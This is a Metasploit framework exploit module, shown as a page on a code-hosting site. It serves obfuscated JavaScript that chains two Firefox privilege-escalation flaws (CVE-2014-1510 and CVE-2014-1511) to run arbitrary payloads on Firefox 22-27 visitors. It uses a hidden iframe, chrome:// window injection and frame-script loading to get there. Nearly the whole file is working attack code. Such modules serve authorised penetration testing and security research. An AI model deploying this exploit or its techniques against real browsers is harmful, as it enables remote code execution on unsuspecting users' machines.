Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_webidl_injection.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/exploitation/jsobfu'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::BrowserExploitServer
12
include Msf::Exploit::Remote::BrowserAutopwn
13
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
14
15
autopwn_info({
16
:ua_name => HttpClients::FF,
17
:ua_minver => "22.0",
18
:ua_maxver => "27.0",
19
:javascript => true,
20
:rank => ExcellentRanking
21
})
22
23
def initialize(info = {})
24
super(
25
update_info(
26
info,
27
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
28
'Description' => %q{
29
This exploit gains remote code execution on Firefox 22-27 by abusing two
30
separate privilege escalation vulnerabilities in Firefox's Javascript
31
APIs.
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'Marius Mlynski', # discovery and pwn2own exploit
36
'joev' # metasploit module
37
],
38
'DisclosureDate' => '2014-03-17',
39
'References' => [
40
['CVE', '2014-1510'], # open chrome:// url in iframe
41
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
42
],
43
'Targets' => [
44
[
45
'Universal (Javascript XPCOM Shell)', {
46
'Platform' => 'firefox',
47
'Arch' => ARCH_FIREFOX
48
}
49
],
50
[
51
'Native Payload', {
52
'Platform' => %w{java linux osx solaris win},
53
'Arch' => ARCH_ALL
54
}
55
]
56
],
57
'DefaultTarget' => 0,
58
'BrowserRequirements' => {
59
:source => 'script',
60
:ua_name => HttpClients::FF,
61
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
62
},
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options([
72
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
73
])
74
end
75
76
def on_request_exploit(cli, request, target_info)
77
send_response_html(cli, generate_html(target_info))
78
end
79
80
def generate_html(target_info)
81
key = Rex::Text.rand_text_alpha(5 + rand(12))
82
frame = Rex::Text.rand_text_alpha(5 + rand(12))
83
r = Rex::Text.rand_text_alpha(5 + rand(12))
84
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
85
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()" +
86
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', " +
87
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
88
89
js = js_obfuscate %Q|
90
var opts = #{JSON.unparse(opts)};
91
var key = opts['#{key}'];
92
93
// Load the chrome-privileged browser XUL script into an iframe
94
var c = new mozRTCPeerConnection;
95
c.createOffer(function(){},function(){
96
window.open('chrome://browser/content/browser.xul', '#{frame}');
97
step1();
98
});
99
100
// Inject a data: URI into an internal frame inside of the browser
101
// XUL script to pop open a new window with the chrome flag to prevent
102
// the new window from being wrapped with browser XUL;
103
function step1() {
104
var clear = setInterval(function(){
105
106
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
107
frames[0].frames[2].location;
108
109
// we base64 this to avoid the script tag screwing up things when obfuscated
110
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
111
clearInterval(clear);
112
setTimeout(step2, 100);
113
},10);
114
}
115
116
// Step 2: load the chrome-level window up with a data URI, which
117
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
118
// into the frame, since that will respond to our messageManager
119
// (this is important later)
120
function step2() {
121
var clear = setInterval(function(){
122
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
123
'src="about:blank"></iframe></body></html>';
124
clearInterval(clear);
125
setTimeout(step3, 100);
126
}, 10);
127
}
128
129
function step3() {
130
var clear = setInterval(function(){
131
if (!frames[0]) return; // will throw until the frame is accessible
132
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
133
clearInterval(clear);
134
setTimeout(function(){top.vvv.close();}, 100);
135
}, 10);
136
}
137
|
138
139
%Q|
140
<!doctype html>
141
<html>
142
<body>
143
<iframe id='#{frame}' name='#{frame}'
144
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
145
</iframe>
146
<script>
147
#{js}
148
</script>
149
#{datastore['CONTENT']}
150
</body>
151
</html>
152
|
153
end
154
end
155
156